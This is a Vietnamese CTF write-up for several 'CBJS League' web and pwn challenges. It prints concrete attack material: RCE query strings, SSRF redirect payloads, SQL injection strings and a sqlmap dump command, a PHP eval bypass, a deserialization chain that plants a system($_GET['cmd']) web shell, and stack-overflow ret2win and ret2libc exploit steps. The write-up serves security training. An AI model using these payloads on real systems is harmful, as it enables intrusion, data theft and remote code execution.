Writeup: CBJS League (Season 1)
Week 1
Challenge: Iox Framework
Phân tích source code (iox-src.zip)
index.php:
- Mục đích chính là load module: example (file example.php) và sau đó thực thi.
modules/example.php:
- Tạo một đối tượng là $exampleController với class ExampleController được kế thừa từ CoreController, sau đó đối tượng này gọi đến method run() từ class CoreController.
iox-libraries/controller.php:
- Class CoreController:
1 | // Core controller of iox framework |
Method
run()được gọi từ moduleexamplethông qua đối tượng$exampleController, nó nhận tham sốactiontừ$_REQUEST(do người dùng kiểm soát) và gọi hàm tương ứng$this->{$action}($_REQUEST).Nếu chúng ta truyền
?action=__construct, ứng dụng sẽ gọi lại hàm khởi tạo$this->__construct($_REQUEST).Ở trong hàm
__construct($filters = []), tham số$filterscủa mảng sẽ gán thành$_REQUESTthay vì mặc định. Do đó$this->filters = $_REQUEST.Cũng ở hàm
__construct, nó sẽ lặp qua tất cả phần tử của$_REQUESTvà đút vào hàmvalidateInput($param).Ở hàm
validateInput, ứng dụng lại lặp qua các filter trong$this->filters(lúc này lại đang chính là$_REQUEST) và nếu filter nào là một hàm hợp lệ (ví dụ:system,exec), nó sẽ gọicall_user_func($filter, $input).
PoC
- Nếu truyền
/?action=__construct&a=system&b=id,$_REQUESTsẽ chứa[action=__construct, a=system, b=id]. Khi validate, nó sẽ lấy các hàm hợp lệ trong$_REQUEST(ở đây làsystem) và gọi với từng giá trị tham số khác (bao gồm giá trịid). Do đó, hàmsystem('id')sẽ được trigger!
Flags và Eggs
- Flag thì ở chỗ đơn giản dễ tìm là thư mục
root/?action=__construct&a=system&b=cat /flag.txt
CBJS{https://blog.sucuri.net/2019/04/thinkphp-5-x-remote-code-execution.html}
- Egg thì ở vị trí khó tìm hơn là
/usr/bin, có thể mục đích mà tác giả để egg ở đây vì/usr/binlà thư mục chứa chương trình dùng chung cho hệ thống và nơi này có thể chứa các chương trình có quyền hạn cao, có thể tận dụng để leo thang đặc quyền/?action=__construct&a=system&b=cat /usr/bin/egg
EGG{Wh4t_4r3_y0u_f1nd1ng_1n_th1s_pl4c3??}
Challenge: Meme
Thông tin về challenge
- Thử thách này có 2 tính năng chính được public là:
- Cho phép upload các file có định dạng ảnh lên server. (
/upload) - Cho phép chỉnh sửa profile cá nhân, trong đó có tính năng lấy ảnh từ url do người dùng cung cấp. (
/profile/edit)
- Cho phép upload các file có định dạng ảnh lên server. (
Khai thác lỗ hổng từ các tính năng của challenge
username admin tại endpoint /profile/edit
- Mình đã thử FUZZ nhiều payload ở tính năng upload file, tuy nhiên vẫn chưa thấy được bất kì lỗ hổng tiềm năng nào nên chuyển sang tập trung vào tính năng chỉnh sửa profile.
- Ở trường
useranmetại endpoint/profile/editmình đã thử Blind SQLi, Blind XSS,… nhưng có vẻ cũng không nhận được bất kì phản hồi nào đáng chú ý. Tuy nhiên khi mình thử đổi username thành admin với suy nghĩ là nếu server vẫn chấp nhận cho phép 1 người dùng bình thường đổi tên là admin thì người dùng này có thể upload các file ảnh với author là admin cho người dùng khác, điều đó, có thể khiến họ tưởng đó là 1 file ảnh quan trọng gì đó do admin đăng lên rồi tin tưởng và tải về, nếu file ảnh đó là mã độc thì điều đó khá nguy hiểm. - Và thật sự thì mình đã nhận được 1 Egg cho ý tưởng này:
EGG{4r3_y0u_go1ng_t0_ph1sh1ng_s0m3_on3??}
SSRF với payload redirect tại tính năng fetch ảnh dựa vào url ở /profile/edit
- Challenge có 1 endpoint
/adminbị 403 khi truy cập từ mạng ngoài vì vậy mình đã thử ssrf tại tính năng cập nhật ảnh đại diện để xác định xem có thể truy cập vào/adminhay không. - Mình đã thử nhiều payload ssrf như
http://127.0.0.1,http://localhost,http://localh.st,http://127.1,file:///etc/passwd, … tuy nhiên tất cả đều bị từ chối. - Đoạn này thì mình đoán được backend khả năng đang dùng một hàm nào đó để phân giải domain thành địa chỉ IP và check xem IP đó có thuộc IP local không và mình đã thử dùng
https://httpbun.com/redirect-to?url=http://127.0.0.1/adminthì nó đã thật sự hoạt động, khi fetch payload trên thì nó sẽ redirect vềurlđược chỉ địnhhttp://127.0.0.1/admin.

- Trang admin này có tính năng search meme, thử search ‘a’ thì server trả về:

- Muốn xem nội dung 1 file ảnh thì
GET /admin?action=view&name=flag_69ddbee9a81fa4.11529910.png(view source html của/admin) - Đọc file
flag_69ddbee9a81fa4.11529910.png, mình lấy được flag:
CBJS{n0w_y0u_c4n_d0_s0m3_m0r3_w1th_ssrf}
- Đọc file
img_a1b2c3d4e5f6a.21458730.png, mình lấy được egg:
EGG{St34l_d4t4_fr0m_4dm1n_t0_g3t_m0r3_futh3r}
- Mình đã thử thay đổi value của param
actionthành các giá trị như delete, edit, read, write, download,… thì khi đổi thànhdownloadserver trả về thêm 1 egg nữa:
EGG{F1nd_s0me_h1dd3n_t0_h4v3_m0r3_4tt4ck_surf4c3}
- PoC cho các flags và eggs trên:
1 | import requests |
- Mình tiếp tục thử test bug ở tính năng search meme của trang admin thì phát hiện bug SQL Injection.
- Sử dụng
/admin?search=xxxxx' OR 1=1--thì server trả về toàn bộ meme trong database. - Và tiếp tục đào sâu hơn, bằng script:
1 | import requests |
- Script trên sử dụng kĩ thuật SQLi Union-based để dump db.
- Một Flag ở
mysterytable:
CBJS{g3t_Deep3r_1nt0_Myst3ry_b0x}
- Một Egg ở
password_hashcủa userRedTeam:
EGG{W3_are_H3R3_t0_g3t_m0r3_d4t4_fr0m_y0u}
Week 2
Challenge: PHP Lixi
- Bài này là một web challenge PHP với core bug là eval() trên input user, nhưng có blacklist khá gắt và giới hạn payload chỉ 30 ký tự. Hướng giải là biến PHP code injection thành command execution bằng backtick, sau đó dùng wildcard để né regex.
Phân tích source code
1 |
|
- Bug nằm ở:
1 | eval(substr($_,0,30)); |
- Tức là input được eval() và chỉ lấy tối đa 30 ký tự đầu. Ngoài ra còn có thêm blacklist chặn:
- Mọi chuỗi \w dài từ 4 ký tự trở lên
- các ký tự
[,",',|,^,~,. - Regex chính:
1 | preg_match("/[\w]{4,}/is", $_) |
- Điều này có nghĩa là bất kỳ đoạn nào gồm 4 ký tự word liên tiếp đều bị chặn, ví dụ:
1 | system |
Nên muốn exploit thì phải:
- dùng primitive PHP ngắn
- tránh mọi word 4 ký tự liên tiếp
- tránh quote
- tránh dấu .
Payload pattern:
die(`COMMAND`)?>Mình kết thúc payload trên bằng
?>thay vì;vì lúc test;nó bị lỗi nên chuyển sang dùng?>thì ổn định hơn. (ta vẫn có thể đóng PHP mode bằng:?>)Payload thực tế gửi qua param tên là ký tự invisible U+2063, tức:
%E2%81%A3Nên request có dạng:
1 | ?%E2%81%A3=die(%60COMMAND%60)?%3E |
- Đoạn này:
1 | $_ = $_GET['']; |
- Nhìn như key đang là chuỗi rỗng nhưng thực ra không phải.
- Ký tự nằm giữa 2 dấu
'là:
1 | U+2063 |
- Nó là một ký tự Unicode đặc biệt, gần như không hiện ra trên màn hình.
- Nên về mặt logic, code này tương đương:
1 | $_ = $_GET["<ký tự U+2063>"]; |
Tức là server đang đọc parameter có tên đúng bằng ký tự đó.
Vì sao URL lại thành
%E2%81%A3?URL không gửi trực tiếp mọi ký tự Unicode thô một cách an toàn. Nó thường dùng percent-encoding.
Với U+2063:
- codepoint Unicode là 2063
- UTF-8 bytes của nó là:
E2 81 A3
Khi đưa vào URL, mỗi byte sẽ thành %xx:
%E2%81%A3Ví dụ test RCE:
die(`id`)?>
Flags và Eggs
- Flag nằm ở
/FLAG
Payload:
1 | die(`cat /F*`)?> |
Kết quả:
CBJS{…evallll_everything_86afff7f80c784e2}
- Một Easter Egg thật nằm ở:
/tmp/hidden/egg
Payload:
1 | die(`cat /t*/h*/*`)?> |
Kết quả:
EGG{d717c323f431e152af726a14413c530a}
- Từ
phpinfo()có thêm một EGG:
EGG{39bde2dbc52c36f90fd49ba30b573b70}
- Có thể thấy qua:
1 | ?👉🏻=👌🏻 |
Challenge: Cybershare
- Challenge có 3 target:
cybershare.league.cyberjutsu-lab.tech: server cho phép upload ảnh.cybermail.league.cyberjutsu-lab.tech: server tạo email để đăng ký tài khoản cybershare.xssbot-cybershare.league.cyberjutsu-lab.tech: bot chứa flag xss.
cybershare.league.cyberjutsu-lab.tech
- IDOR
- Tại endpoint
/user.php/<username>xuất hiện bug IDOR và có thể dùng bug này để xem tất cả các ảnh của 1 username bất kì trên cybershare. - Mình thử truy cập
/user.php/adminthì lấy được egg đầu tiên.

EGG{k33p_t0_3num3r4t3_us3r_t0_f1nd_m0r3_l34k_d4t4}
- XSS
- Tiếp theo thì mình thử tính năng upload của server tại
/upload.php, vì server được code bằng php và còn theo file based nên mình đã thử upload một vài file payload php nhưng đều fail. Mình chuyển sang upload filepng,gifthì được chấp nhận. Kế tiếp, mình thử thêm payload php như<?php phpinfo() >vào nội dung của file ảnh đó và chuyển extension về.php,.phtml,.gif.php, … Tín hiệu tốt là server đã tiếp nhận các file này tuy nhiên khi thử truy cập vào các file này ở/upload/<random>.phphoặc/helper/img.php/upload/<random>.pngthì response được trả về chỉ là nội dung tĩnh không được thực thi, tuy nhiên khi mình quan sát gói tin được trả về thì nó có set headerContent-Type: text/plain, và mình thử thêm nội dung payload html vào 1 file ảnh mới và upload với extension là<random>.png, truy cập vào vị trí của file ảnh này thì thấy header được set làContent-Type: text/htmlvà payload xss đó thật sự được trình duyệt thực thi. Tới đây thì mình hoàn toàn có thể dùng bug XSS này để lấy flag từ bot.
CBJS{bf2b44baca4910ce35919fdc6b466bda}
Note > Vì server đã down nên mình không có ảnh để tái hiện lại bug XSS này và mình cũng quên lưu lại ảnh về bug này nữa. Hi vọng các bạn thông cảm.
- LFD (Local File Disclosure)
- Có một endpoint khá đặc biệt là
/helper/img.php/upload/<random>.pngendpoint này đag có vẻ nhận một path trên url (upload/<random>.png) làm đầu vào cho một hàm đọc nội dung file và trả về cho người dùng, nên mình đã thử thayupload/<random>.pngthànhconfig.phpthì nhận được egg và flag tiếp theo.

CBJS{de31c48105721f6695fb7d3f68f3b387}
EGG{0h_y0u_f1nd_m3_th1s_1s_s3cr3t_k3y_th4t_n33d_t0_f1nd}
- Mình cũng đã thử một số payload như
../../../../../etc/passwd,/etc/passwd,%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd, double encode url, … nhưng cũng chưa thể đọc sâu hơn ngoài/var/www/html. - Và tận dụng lỗ hổng này mình đã có thể dump nội dung một vài file code của chương trình để tiếp tục tìm bug.
- Force JWT by leaked key from config.php
- Nội dung file
myphoto.phpđược leak từ bug LFD:
1 |
|
- Có một đoạn code kiểm tra nếu
usertrong jwt làcybercatthì sẽ trả về thêm 1 flag nữa nên mình có thể tạo 1 jwt với là user này và sign bằng secret key làEGG{0h_y0u_f1nd_m3_th1s_1s_s3cr3t_k3y_th4t_n33d_t0_f1nd}.
CBJS{c8e5222d6e7557b24b3efb02bee29212}
- SQLi
error.php
1 |
|
Method insert_log của $report_manager nhận trực tiếp value là header USER_AGENT.
ReportManager.php
1 |
|
Mặc dù có gọi prepare(), nhưng code trên lại không dùng tham số bind (?) và còn đang nhét trực tiếp biến vào chuỗi SQL trước khi prepare:
1 | $query = $this->connection->prepare( |
Nghĩa là PHP sẽ tạo xong câu SQL đầy đủ trước:
1 | INSERT INTO `error_log` (ip, user_agent, error) |
Nếu $user_agent chứa ký tự độc hại, nó đã nằm sẵn trong SQL rồi. prepare() lúc này chỉ “chuẩn bị” câu SQL đã bị chèn, chứ không tự động làm sạch.
Ví dụ attacker gửi User-Agent như này:
1 | abc', 'x', 'hacked') -- |
Thì câu SQL có thể bị biến dạng thành:
1 | INSERT INTO `error_log` (ip, user_agent, error) |
- Để exploit nhanh bug blind SQLi ở User-Agent này thì mình đã sử dụng SQLmap:
1 | sqlmap -u "https://cybershare.league.cyberjutsu-lab.tech/helper/error.php?type=detail" --batch --level=5 --risk=3 --technique=BT --dbms=mysql --threads=10 -H "User-Agent: *" -D cybershare_db -T photo_manager -C photo --dump |
CBJS{eb0ef478e07fd125cbe093c240565e71}
cybermail.league.cyberjutsu-lab.tech
- Leaked source code
Dirsearchphát hiện fileconfig.inibị public và thư mục.git/bị lộ. Từ các loose objects trong.git/objects/, mình reconstruct được source code của repository bằng cách lần theoHEAD -> commit -> tree -> blob.config.ini
1 | JWT_SECRET_KEY="u6rMSwIOiHIJO2GiFiq2zJ86o1b1Ex2A" |
- Deserialize PHP
index.php
1 |
|
Nếu $jwt['isAdmin'] === True thì include templates/admin.php.
admin.phpcó đoạn code:
1 | $egg = getenv("EGG_4"); echo $egg; |
Nếu ta có force được một jwt có isAdmin là True thì có thể lấy được thêm 1 egg nữa.
jwt.php
1 |
|
Hàm
parseTokenxuất hiện lỗ hổng nghiêm trọng khi đưa dữ liệu do người dùng kiểm soát (jwt token) vào hàmunserializetạo điều kiện cho kẻ tấn công có thể tận dụng có class có sẵn trong chương trình để tạo POP chain nhằm RCE.Đầu tiên thì mình sẽ tận dụng bug này để tạo user có quyền admin (
isAdmin === True) để lấy egg.PoC:
1 | import json |
EGG{S0m3_th1ng_br34k_d0wn_wh3n_y0u_us3_jwt_k3y}
- Tiếp theo mình sẽ tận dụng các class đang có sẵn trong chương trình, đọc file
Dockerfilethì có một đoạn tải 2 thư viện làfirebase/php-jwt:6.8.0,swiftmailer/swiftmailer:6.0.0.
1 | RUN curl -sS https://getcomposer.org/installer | php && \ |
- Mình sẽ sử dụng phpggc để kiểm tra đã có POP chain cho 1 trong 2 thư viện này hay chưa, và sau khi kiểm tra thì thư viện
swiftmailerđã có POP chain cho version6.0.0.
1 | └─$ phpggc -l | grep SwiftMailer |
Ver 6.0.0 có 2 bản POP chain cho cả File read và File write và được trigger nhờ
__toString.checktoken.php
1 |
|
Payload được unserialize sẽ được echo nên ta cần tìm POP chain được trigger thông qua method __toString.
- PoC để RCE
~/hacking_tools/payload_php/cbjs_xxxx.php
1 | system($_GET['cmd']); |
~/hacking_tools/payload_php/cbjs_db.php
1 |
|
unserialize_exploit.py
1 | import os |
1 | python3 unserialize_exploit.py write /var/www/html/upload/cbjs_xxxx.php ~/hacking_tools/payload_php/cbjs_xxxx.php "cat /flag.*" --> CBJS{9809d56b37cb4ca803078940da2011c3} |
CBJS{9809d56b37cb4ca803078940da2011c3}
EGG{Th1s_1s_wh3r3_y0u_n33d_t0_f1nd_f0r_m0v3m3nt}
EGG{Y0u_kn0w_h0w_t0_r3c0n_d4t4_t0_br34ch}
Week 4
Challenge: Co Ganh
Tổng quan
Lúc mới mở binary này ra, cảm giác đầu tiên của mình là đây chỉ là một game số chạy trên bàn cờ 5x5: chương trình in board, cho người chơi nhập row col value, rồi cập nhật trạng thái theo một luật nào đó.
Nhưng sau khi nhìn kỹ phần xử lý nước đi, mình thấy bug nằm ngay ở chỗ chương trình tin hoàn toàn input của người dùng. Nó dùng trực tiếp công thức:
1 | board[5 * row + col] = value; |
mà không hề kiểm tra biên row, col.
Nghĩa là thay vì chỉ được ghi vào 25 ô thật trên board, mình có thể ghi ra ngoài mảng, đè luôn lên các biến local và vùng return trên stack. Đó chính là primitive chính của bài.
Điểm hay là bài này không chỉ có một lỗi OOB write đơn thuần. Sau khi ghi giá trị vào board[idx], chương trình còn gọi thêm một hàm xử lý “ô trái / ô phải”, và chính logic đó giúp mình nắn lại stack khá đẹp để điều khiển saved RIP.
Phân tích binary
- File binary của challenge mình có nhờ AI dịch ngược hộ để dễ đọc và phân tích hơn.
1 |
|
Luồng chính của chương trình rất ngắn:
1 | int main(void) { |
game() là nơi toàn bộ bug xuất hiện.
Pseudo-code rút gọn:
1 | int game() { |
Ở đây:
state[0..24]là 25 ô của boardstate[25]là số lượt còn lại, khởi tạo bằng100
Bug chính là dòng:
1 | state[5 * row + col] = value; |
không có check range.
Hàm cập nhật nước đi
Sau khi ghi value vào một ô, chương trình gọi hàm sub_4016B7. Viết lại cho dễ đọc thì nó gần như thế này:
1 | void apply_move(int *state, int row, int col) { |
Đây là phần quan trọng nhất của exploit.
Nếu mình chọn được placed == left + right, thì hai ô hàng xóm sẽ bị zero, còn ô giữa giữ nguyên. Điều đó cực kỳ hữu ích khi ô giữa chính là saved RIP, còn hai ô hàng xóm là high dword hoặc vùng stack kế cận.
Map stack
state nằm trên stack của game(). Vì mỗi phần tử là int 4 byte, nên các index ngoài 0..24 sẽ lần lượt đè lên những vùng phía trên board.
Các offset quan trọng mình dùng là:
idx 29-> high 4 bytes củasaved RBPidx 30-> low 4 bytes củasaved RIPidx 31-> high 4 bytes củasaved RIPidx 32-> low 4 bytes của qword kế tiếp trên stackidx 33-> high 4 bytes của qword kế tiếp trên stack
Do binary dùng công thức idx = 5 * row + col, nên có thể truy cập chúng bằng:
idx 29->(5, 4)idx 30->(6, 0)idx 31->(6, 1)idx 32->(6, 2)idx 33->(6, 3)
Đây là lý do exploit có các tọa độ “ngoài bàn cờ”.
Các hàm thú vị
Hàm win shell
Binary có một hàm ẩn:
1 | void hidden_shell(void) { |
Địa chỉ:
1 | 0x401276 |
Hàm đọc flag
Trong sub_4015F2, nếu toàn bộ 25 ô trên board bằng 0, chương trình sẽ:
1 | open("/flag.txt", 0); |
Đây là đường in flag.txt.
Hàm đọc secret / egg
Binary còn có một hàm ẩn khác:
1 | open("/secrets.txt", 0); |
Địa chỉ:
1 | 0x401460 |
Hàm này không in full secret, nhưng nó mở sẵn cả secrets.txt lẫn egg.txt, và đó là chìa khóa cho phần khai thác sau.
Lấy shell
Payload:
1 | 6 1 1 |
Tức là:
idx 31 = 1idx 29 = 0x401275idx 30 = 0x401276
Khi ghi idx 30, hàm apply_move() sẽ thấy:
- trái =
idx 29 = 0x401275 - phải =
idx 31 = 1 - current =
0x401276
Do:
1 | 0x401276 == 0x401275 + 1 |
nên nó zero hai hàng xóm:
1 | state[29] = 0; |
và giữ nguyên:
1 | state[30] = 0x401276; |
Kết quả cuối:
- low dword của
saved RIP=0x401276 - high dword của
saved RIP=0
Tức là:
1 | saved RIP = 0x0000000000401276 |
Sau đó chỉ cần gửi input lỗi, ví dụ x, để scanf fail và game() return:
1 | x |
thì chương trình sẽ nhảy vào system("/bin/sh").
Sau khi nhảy vào shell thì mình có quyền để đọc được egg2.txt
EGG{62d6c4e9d57e6f11a29aa7b904351a4}
Vì sao shell chưa đủ
Vào shell xong thì user là gamer, không phải root hay owner của secret files:
1 | uid=10001(gamer) gid=999(gamer) |
Các file:
/flag.txt/egg.txt/secrets.txt
đều chỉ là symlink sang /run/coganh/secrets/..., và nếu cat trực tiếp thì sẽ bị:
1 | Permission denied |
Nghĩa là shell một mình chưa đủ để lấy file.
Lấy flag
Đường mình dùng để lấy flag trên remote là nhảy thẳng vào block đọc file bên trong sub_4015F2.
Địa chỉ block đó là:
1 | 0x40164c |
Payload:
1 | 6 3 1 |
Ý tưởng:
- ban đầu
saved RIPđang trỏ về đoạn return bình thường trongmain - dùng nhánh
elsecủaapply_move()để cộng thêm giá trị âm vào hàng xóm - biến low dword của
saved RIPtừ0x401a74thành0x40164c - bước cuối zero high dword của
saved RIP
Khi game() return, execution nhảy vào giữa sub_4015F2, đúng đoạn:
1 | open("/flag.txt", 0); |
CBJS{d0_y0u_kn0w_y0u_c4n_jmp_t0_g4t_fl4g}
Ghi chú về tính ổn định
Đây là payload chạy được trên remote, nhưng local có thể crash nếu stack layout của libc khác.
Lý do là mình đang nhảy vào giữa hàm, không phải đầu hàm. Khi đó prologue của sub_4015F2 không chạy, nên buf trong hàm này thực ra chồng lên stack frame hiện tại của main() và cả libc wrapper của read(). Nếu libc local đặt stack hơi sát, read() có thể tự ghi đè return address của chính nó và SIGSEGV.
Remote dùng libc / stack layout khác nên payload này vẫn chạy được.
Lấy egg.txt
Phần egg thì mình không dùng kiểu jump vào giữa hàm nữa. Thay vào đó, mình chain hai full function:
1 | game() -> sub_401460() -> hidden_shell() |
Mục tiêu:
saved RIP = 0x401460- qword kế tiếp trên stack =
0x401276
Payload ghi stack:
1 | A = 0x401460 |
Ba ghi đầu dựng qword kế tiếp thành:
1 | 0x0000000000401276 |
Ba ghi sau dựng saved RIP thành:
1 | 0x0000000000401460 |
Sau khi gửi x, execution sẽ đi theo luồng:
1 | game() return |
Vì sao cat <&4 lấy được full egg
Khi sub_401460() chạy, nó:
- mở
secrets.txt - mở
egg.txt - đọc một phần đầu của
egg.txt puts()phần đó ra
Sau đó nó return vào shell.
Điểm quan trọng là shell này thừa hưởng file descriptor mà sub_401460() vừa mở:
fd 3->secrets.txtfd 4->egg.txt
Với egg.txt. Chỉ cần tận dụng việc:
- prefix của
eggđã đượcsub_401460()in ra sẵn - offset hiện tại của
fd 4đang nằm ngay sau prefix đó
Khi chạy:
1 | cat <&4 |
shell sẽ duplicate fd 4 vào stdin của cat. cat đọc tiếp từ offset hiện tại cho đến EOF, nên nó in ra phần còn lại của file.
Ví dụ output trông như thế này:
1 | EGG{d2c8f0bbd7 |
Ghép hai dòng lại:
EGG{d2c8f0bbd7ab3efefdd5}
PoC
ret2win.py
1 | #!/usr/bin/env python3 |
get_egg_and_flag.py
1 | #!/usr/bin/env python3 |
Challenge: Rock, Paper, Scissor
Tổng quan
Challenge là một game rock / paper / scissor có các tính năng: chọn mode, nhập tên, chơi với bot, cuối game in điểm rồi xin feedback.
Nhưng phân tích sâu thì đây lại là một bài pwn có “2 lớp” khá đẹp:
- lớp đầu là một stack overflow rất rõ trong
main() - lớp sau là một
.bssoverflow ở phầnfeedback, từ đó biến một hàm in Easter Egg thành gadget leak libc
Tổng quan binary
Luồng chính của chương trình nằm trong main():
1 | int main() { |
Chỉ cần nhìn vào đây là thấy vấn đề ngay:
1 | char buf[8]; |
Đây là stack overflow quá rõ. buf chỉ có 8 byte nhưng read() đọc tới 64.
Điểm quan trọng hơn là hàm vẫn dùng buf[0] để kiểm tra mode và atoi(buf) để truyền mode vào game(), nên chỉ cần byte đầu là '1' hoặc '2' thì mình vẫn đi tiếp được dù phía sau đã là payload ghi đè saved RBP và saved RIP.
Flow của game()
Pseudo-code rút gọn:
1 | game(mode): |
Có 3 chỗ mình để ý ngay:
mode == 2làm bot luôn counter người chơi
Đây không phải bug, mà là cách author giấu một đường phụ.open_egg()được gọi ở cuối game
Tức là có logic đọc file sau khi thoát vòng chơi.scanf("%s", &unk_404100)ở.bss
Đây là bug số 2.
Layout vùng .bss
Điểm tinh tế của bài này là chương trình dùng chung một vùng .bss khá lớn cho nhiều thứ:
- tên người chơi
- feedback
- score
- rounds
- history từng round
Đầu game() có:
1 | memset(name_4040E0, 0, 0x124); |
Điều đó cho thấy từ 0x4040E0 trở đi là một blob trạng thái lớn của game.
Sau đó:
1 | read(0, name_4040E0, 0x20); |
chỉ đọc 0x20 byte tên người chơi.
Nhưng ở cuối game:
1 | scanf("%s", &unk_404100); |
tức là bắt đầu ghi từ 0x404100, và hoàn toàn không có giới hạn độ dài.
Nói cách khác:
- phần đầu blob dùng làm
name - phần sau blob dùng cho
feedback feedbackoverflow được lên score, round count và bảng history
Đây là primitive thứ hai của bài.
Cấu trúc history
Hàm update_scores_rounds_401A90() cho thấy chương trình lưu history của tối đa 16 round đầu tiên.
Nó ghi các field theo layout:
1 | entry[i].round_no |
Mỗi entry dài 8 byte:
+0: round number (short)+2: player choice (short)+4: bot choice (short)+6: total score (short)
Base của bảng này là:
1 | 0x404184 |
Tức là:
0x404184 + 8*i-> round number0x404186 + 8*i-> player choice0x404188 + 8*i-> bot choice0x40418a + 8*i-> total score
Chi tiết này cực kỳ quan trọng cho leak stage 1.
Hai hàm đọc Easter Egg
open_egg_401407
Hàm này được gọi ở cuối game():
1 | if (score > 100) { |
Đây là đường đọc egg.txt.
open_egg2_4014EB
Đây mới là gadget thú vị nhất bài:
1 | open("/egg2.txt", 0); |
Nếu mình control được history[i].total_score, thì đoạn này trở thành:
1 | putchar(buf[controlled_index]); |
Mà buf chỉ có 16 byte local trên stack.
Nghĩa là chỉ cần set controlled_index lớn hơn 16, mình sẽ đọc OOB ra khỏi buf, leak stack của hàm open_egg2(), và từ đó leak libc.
Primitive 1: stack overflow ở main()
main() có stack layout:
1 | char buf[8]; // [rbp-0xc] |
Vì read(0, buf, 64) bắt đầu từ [rbp-0xc], nên sau 12 byte là chạm tới saved frame:
12byte đầu: padding tới savedRBP8byte tiếp: savedRBP8byte tiếp: savedRIP- tiếp nữa: return chain
Nên offset overwrite là:
1 | padding = 12 |
Đây là lý do exploit dùng:
1 | flat( |
Byte đầu là '1' để chương trình vẫn đi theo nhánh “easy mode”, còn phần sau là ROP/ret chain.
Stage 1: leak libc bằng open_egg2()
Ý tưởng tổng thể của stage 1 là:
- Dùng stack overflow ở
main()để đổi đường return:
1 | main -> open_egg2_4014EB -> main |
- Trong lúc game đang chạy, dùng
feedbackoverflow để sửa:
rounds_404182- các field
history[i].total_score
- Khi
mainreturn vàoopen_egg2(), hàm này sẽ:
- tưởng rằng đã có nhiều round
- đọc
16byte từ/egg2.txtvàobuf - sau đó
putchar(buf[controlled_index - 1])
- Vì
controlled_indexđã bị sửa thành các giá trị rất lớn,buf[...]sẽ OOB-read ra stack và in luôn byte của stack/libc ra ngoài.
Payload mode stage 1
Exploit dùng:
1 | payload_mode = flat( |
Ý nghĩa:
- vẫn vào game bình thường
- sau khi
game()kết thúc,main()không return về caller thật - mà nhảy vào
open_egg2() - xong rồi quay lại
main()để làm stage 2
Feedback overflow
Exploit gửi:
1 | payload_feedback = bytearray(b'A' * 0x500) |
chỉ riêng việc fill A đã có tác dụng:
rounds_404182bị overwrite thành0x4141open_egg2()sẽ cap về16
Sau đó exploit chỉnh riêng 16 field total_score:
1 | for i in range(16): |
Đây chính là cách ghi vào:
1 | 0x40418a, 0x404192, 0x40419a, ... |
tức là history[i].total_score.
Sau khi bị sửa, open_egg2() sẽ làm kiểu:
1 | putchar(buf[0xc1 - 1]); |
Nói cách khác, nó đọc các byte rất xa khỏi local buffer và in chúng ra.
Exploit lấy 8 byte đầu output đó và parse thành:
1 | libc_leak = u64(p.recv(8)) |
Từ đây có được base libc cho stage 2.
Stage 2: quay lại main() và ret2libc
Sau stage 1, control flow đã quay lại main() nên mình có thêm một lần stack overflow nữa qua read(0, buf, 64).
Lúc này exploit không cần leak nữa, chỉ cần dựng chain thực thi để lấy shell / one-gadget.
1 | pop_r12_r13 = libc.address + 0x41c48 |
Ý tưởng ở đây là:
- overflow saved
RIPcủamain() - đi qua gadget
pop r12 ; pop r13 ; ret - set hai thanh ghi này về
0 - nhảy vào
one_gadget
Việc chèn gadget pop r12 ; pop r13 ; ret nhằm dọn các thanh ghi về 0 trước khi nhảy.
Sau đó flow vẫn như cũ:
- vào game
- chọn
0để thoát nhanh - nhập feedback nhỏ cho xong vòng
main()return- ret2libc chain chạy
Từ đây là shell / code execution.
Tóm tắt ý tưởng exploit
Exploit hoàn chỉnh đi theo đúng 2 stage:
Stage 1
- overflow
main()để return vàoopen_egg2() - overflow
feedbackđể fakeroundsvà fakehistory[].total_score - dùng
open_egg2()như một OOB-read gadget - leak libc
- return về
main()
Stage 2
- overflow
main()lần nữa - ret2libc với gadget + one_gadget
- thoát game nhanh
- khi
main()return thì chain chạy
Điểm đẹp của bài này là stage 1 và stage 2 dùng cùng một bug stack overflow, nhưng stage 1 cần thêm .bss overflow để biến logic game thành leak primitive.
PoC
1 | #!/usr/bin/env python3 |
Kết quả
/egg.txt: EGG{651cb023e8a}
/egg2.txt: EGG{7c22b217106}
/flag_5522d3: CBJS{b0f_t0_w1n_r0ck_p4p3r_Sc1ss0r}








